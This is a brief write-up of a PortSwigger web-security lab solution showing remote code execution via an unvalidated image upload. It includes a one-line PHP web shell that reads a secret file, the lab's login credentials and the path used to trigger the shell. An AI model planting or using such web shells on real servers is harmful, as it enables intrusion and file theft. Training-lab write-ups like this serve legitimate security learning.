On this page
apsyleg1 min read
#portswigger #file-upload #rce #web-security
Remote Code Execution via Web Shell Upload
Lab
Remote code execution via web shell upload · Apprentice
Solution
Given
This lab contains a vulnerable image upload function. It doesn't perform any
validation on the files users upload before storing them on the server's filesystem.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the
contents of the file /home/carlos/secret. Submit this secret using the button
provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
Analysis and recon
Straightforward — upload a shell and call it in the browser.
<?php echo file_get_contents('/home/carlos/secret'); ?>
Log in, upload the shell.
Open /files/avatars/shell.php in the browser.
1bfoduHLVPomAxIanAVE6dzD1ulBhDVk
Lab solved!
More in this category
Arbitrary Object Injection in PHP (PortSwigger Lab)
Recovering leaked source code and injecting a serialized CustomTemplate object whose __destruct deletes an arbitrary file.
Using Application Functionality to Exploit Insecure Deserialization (PortSwigger Lab)
Tampering with the `avatar_link` field in the session object to delete an arbitrary file via the account-delete feature.
Modifying Serialized Data Types (PortSwigger Lab)
Abusing PHP loose comparison by changing the `access_token` type to integer `0` to bypass authentication.